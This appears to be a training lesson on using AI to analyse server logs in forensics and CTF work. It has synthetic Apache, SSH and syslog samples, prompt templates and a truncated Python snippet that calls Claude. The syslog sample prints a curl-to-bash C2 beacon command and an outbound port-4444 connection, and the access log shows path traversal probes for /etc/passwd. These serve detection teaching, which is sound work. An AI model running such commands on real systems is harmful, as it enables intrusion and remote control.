

Log Analysis & Pattern Discovery

Using AI to extract attack timelines, identify compromised accounts, and reconstruct adversary behavior from raw server logs.

What You'll Learn

Parse Apache, auth, and syslog files at scale using AI-assisted analysis

CTF Application

Reconstruct full attack timelines from messy, high-volume log data

Log Analysis

Pattern Discovery

AI-Assisted DFIR

Red Team Recon

Before We Begin

Educational Use Only

Log analysis techniques are demonstrated for authorized security testing and CTF competitions.

Never access logs from systems without proper authorization.

All log samples in this lesson are synthetic and created for training purposes. In professional settings, always ensure you have written authorization before analyzing system logs.

The Attacker's Perspective on Logs

Logs are a double-edged sword. Defenders use them to detect intrusions -- but attackers study them to understand what a target reveals about itself.

- **Reconnaissance value** -- exposed logs reveal software versions, directory structures, and user behavior patterns
- **Attack surface mapping** -- error logs disclose backend technologies, file paths, and database types
- **Credential harvesting clues** -- authentication logs expose valid usernames, login timing, and lockout policies
- **Defense posture assessment** -- log rotation frequency and detail level hint at monitoring maturity

Notes: In CTFs, competitors often receive log dumps as evidence files. Understanding what each log type reveals is the first step to solving forensics challenges.

Log Types & What They Reveal

Log Source	File Path	Key Intelligence
Apache access	<code>/var/log/apache2/access.log</code>	URLs visited, user agents, IPs, response codes, directory traversal attempts
Apache error	<code>/var/log/apache2/error.log</code>	Server misconfigs, PHP errors leaking paths, permission denials
SSH auth	<code>/var/log/auth.log</code>	Brute force attempts, valid usernames, key-based vs password auth, sudo escalation
Syslog	<code>/var/log/syslog</code>	Service starts/stops, cron jobs, kernel messages, suspicious process launches
MySQL/Postgres	<code>/var/log/mysql/error.log</code>	SQL errors, authentication failures, query execution hints

Sample: Apache Access Log

A typical Combined Log Format entry. Each field encodes critical forensic data.

```
192.168.1.105 - - [15/Mar/2026:09:12:34 +0000] "GET /admin/login.php HTTP/1.1" 200 3421 "-" "Mozilla/5
192.168.1.105 - - [15/Mar/2026:09:12:35 +0000] "POST /admin/login.php HTTP/1.1" 302 0 "http://target.l
192.168.1.105 - - [15/Mar/2026:09:12:36 +0000] "GET /admin/dashboard.php HTTP/1.1" 200 8842 "-" "Mozil
10.0.0.47 - - [15/Mar/2026:09:14:01 +0000] "GET ../../../../etc/passwd HTTP/1.1" 400 496 "-" "curl/7.8
10.0.0.47 - - [15/Mar/2026:09:14:02 +0000] "GET /cgi-bin/test-cgi?%2f..%2f..%2fetc%2fpasswd HTTP/1.1"
10.0.0.47 - - [15/Mar/2026:09:14:05 +0000] "GET /wp-admin/ HTTP/1.1" 404 274 "-" "curl/7.81.0"
10.0.0.47 - - [15/Mar/2026:09:14:06 +0000] "GET /phpmyadmin/ HTTP/1.1" 404 274 "-" "curl/7.81.0"
```

What to Spot

192.168.1.105 successfully logged into the admin panel. **10.0.0.47** is performing directory traversal and common-path enumeration using `curl` -- classic automated scanning behavior.

Sample: SSH Authentication Log

The `auth.log` reveals brute-force patterns, successful compromises, and privilege escalation.

```
Mar 15 10:22:01 webserver sshd[4821]: Failed password for root from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:03 webserver sshd[4821]: Failed password for root from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:05 webserver sshd[4821]: Failed password for root from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:07 webserver sshd[4823]: Failed password for invalid user admin from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:09 webserver sshd[4825]: Failed password for invalid user test from 203.0.113.42 port 55122 ssh2
Mar 15 10:22:44 webserver sshd[4830]: Accepted password for deploy from 203.0.113.42 port 55340 ssh2
Mar 15 10:22:44 webserver sshd[4830]: pam_unix(sshd:session): session opened for user deploy
Mar 15 10:23:12 webserver sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash
Mar 15 10:23:12 webserver sudo: pam_unix(sudo:session): session opened for user root by deploy(uid=1000)
```

Attack Timeline Visible

Brute force against root and common usernames, followed by a successful login as `deploy`, then immediate `sudo` escalation to root. Total elapsed time: ~71 seconds.

Pattern Discovery: What to Look For

Anomaly Indicators

- **High-frequency requests** from a single IP within seconds
- **Sequential 4xx/5xx errors** indicating scanning or fuzzing
- **Unusual user agents** like `curl`, `sqlmap`, `nikto`
- **Off-hours activity** from internal accounts

Escalation Traces

- **Failed-then-success** auth sequences from the same source
- **sudo to root** immediately after SSH login
- **New cron jobs** or service modifications in syslog
- **File access** to `/etc/shadow`, `/etc/passwd`, `.ssh/`

Notes: In CTF log analysis challenges, the answer usually involves connecting events across multiple log sources to build a coherent attack narrative.

AI-Assisted Log Parsing

Large log files (100K+ lines) are tedious to grep through manually. AI excels at correlation, summarization, and anomaly detection across log volumes.

Why AI Beats Traditional Grep Pipelines

- **Cross-source correlation** -- link an Apache request to an auth.log event to a syslog entry in one pass
- **Natural language output** -- produces human-readable attack timelines, not raw line numbers
- **Fuzzy pattern matching** -- catches obfuscated payloads and encoding variations that exact regex misses
- **Contextual prioritization** -- ranks findings by severity, not just chronological order

Best Practice

Use traditional tools (`grep`, `awk`, `jq`) for initial filtering and volume reduction, then feed the filtered output to AI for deep analysis.

Prompting Strategies for Log Analysis

The quality of AI-driven log analysis depends heavily on prompt construction. Structure your prompts in layers.

Strategy 1: Role + Context + Task

You are a senior SOC analyst performing incident response.

I am providing Apache access logs and SSH auth logs from a web server that was compromised on March 15, 2026.

Analyze these logs and:

1. Identify all unique source IPs and classify them as benign, suspicious, or malicious
2. Build a timeline of the attack from initial recon to privilege escalation
3. Identify which accounts were compromised
4. Note any data exfiltration indicators

Strategy 2: Structured Output Request

```
Parse the following auth.log entries and return a JSON
object with: { "brute_force_sources": [...],
"compromised_accounts": [...], "escalation_events": [...],
"timeline": [ {"time": "...", "event": "...", "severity": "..."} ] }
```

Notes: Requesting structured output (JSON, tables, Markdown) dramatically improves consistency and makes results easier to process programmatically in CTF scripts.

Prompting Strategy: Chunked Analysis

When logs exceed context window limits, use a chunked pipeline approach.

```
import anthropic, json

client = anthropic.Anthropic()

def analyze_log_chunk(chunk, chunk_num):
    """Send a log chunk to Claude for initial triage."""
    response = client.messages.create(
        model="claude-sonnet-4-20250514",
        max_tokens=2048,
        messages=[{
            "role": "user",
            "content": f"""Analyze this log chunk ({chunk_num}) for security events.
Return JSON with: suspicious_ips, failed_auths, successful_auths,
escalation_events, notable_requests.
```

Sample: Syslog Persistence Indicators

After initial compromise, attackers establish persistence. Syslog captures these breadcrumbs.

```
Mar 15 10:24:01 webserver CRON[5012]: (root) CMD (/tmp/.cache/update.sh)
Mar 15 10:24:01 webserver kernel: [42918.221] audit: type=1400 msg=audit(1742036641.221:418): apparmor=
Mar 15 10:25:33 webserver systemd[1]: Started /etc/systemd/system/debug-helper.service
Mar 15 10:25:34 webserver kernel: [42950.102] TCP: eth0: connect to 203.0.113.99:4444
Mar 15 10:26:01 webserver CRON[5089]: (deploy) CMD (curl -s http://203.0.113.99/beacon | bash)
```

Red Flags in This Syslog

- **Suspicious cron job** running a hidden script from `/tmp/.cache/`
- **Shadow file access attempt** blocked by AppArmor
- **New systemd service** created post-compromise (persistence)
- **Outbound connection** to port 4444 (common Metasploit listener port)

- **Curl-to-bash pipeline** in a cron job -- classic C2 beacon
-

Correlating Across Log Sources

The real power of log analysis is connecting events across files. Here is the full attack timeline from our samples.

Time	Source	Event	Severity
09:14:01	Apache access	Directory traversal attempts from 10.0.0.47	Medium
09:14:05	Apache access	Common admin path enumeration from 10.0.0.47	Medium
10:22:01	auth.log	SSH brute force from 203.0.113.42 (root, admin, test)	High
10:22:44	auth.log	Successful SSH login as <code>deploy</code> from 203.0.113.42	Critical
10:23:12	auth.log	<code>deploy</code> escalates to root via sudo	Critical
10:24:01	syslog	Malicious cron job and shadow file access attempt	Critical

Time	Source	Event	Severity
10:25:33	syslog	Persistence via systemd service + C2 callback	Critical

Common CTF Log Analysis Patterns

Web-Based Attacks

- **SQL injection** -- look for `UNION SELECT`, `OR` `1=1`, encoded quotes in URLs
- **XSS probes** -- `<script>` tags and event handlers in query params
- **Path traversal** -- `../` sequences, `%2e%2e%2f` encoding
- **Webshell uploads** -- POST to upload endpoints followed by GET to unusual `.php` files

System-Level Attacks

- **Brute force** -- rapid `Failed password` entries from one IP
- **Credential stuffing** -- varied usernames, same source, low failure rate
- **Lateral movement** -- SSH from internal IP to internal IP after initial compromise
- **Data exfiltration** -- large outbound transfers, DNS tunneling, base64 in URLs

CTF Challenge: Server Breach Investigation

Your Mission

You have been given three log files from a compromised web server: `access.log`, `auth.log`, and `syslog`. Your objectives:

1. **Identify the attacker IP(s)** -- distinguish scanning from the actual breach
2. **Build the attack timeline** -- from first contact to persistence
3. **Determine compromised accounts** -- which credentials were successfully exploited
4. **Find the C2 server** -- where is the attacker's command-and-control infrastructure
5. **Identify persistence mechanisms** -- how did the attacker ensure continued access

Use AI-assisted analysis to process the logs, then assemble your findings into a structured incident report. The lab guide provides the full log dataset and step-by-step instructions.

Notes: This challenge mirrors real-world DFIR workflows. Encourage students to use AI for initial triage but verify all findings against the raw log data manually.

Key Takeaways

- **Logs tell a story** -- every attack leaves traces across access, auth, and system logs
- **Cross-source correlation** is the key skill -- no single log file gives the full picture
- **AI accelerates triage** -- use it for parsing, summarization, and timeline construction
- **Prompt engineering matters** -- structured prompts with role context produce dramatically better analysis
- **Chunk large logs** -- analyze in pieces, then synthesize with a second AI pass
- **Always verify** -- AI analysis is a starting point, not a final report; validate against raw data

Next Lesson

Lesson 03 takes these analysis skills into active reconnaissance -- using AI to automate OSINT gathering and attack surface mapping.

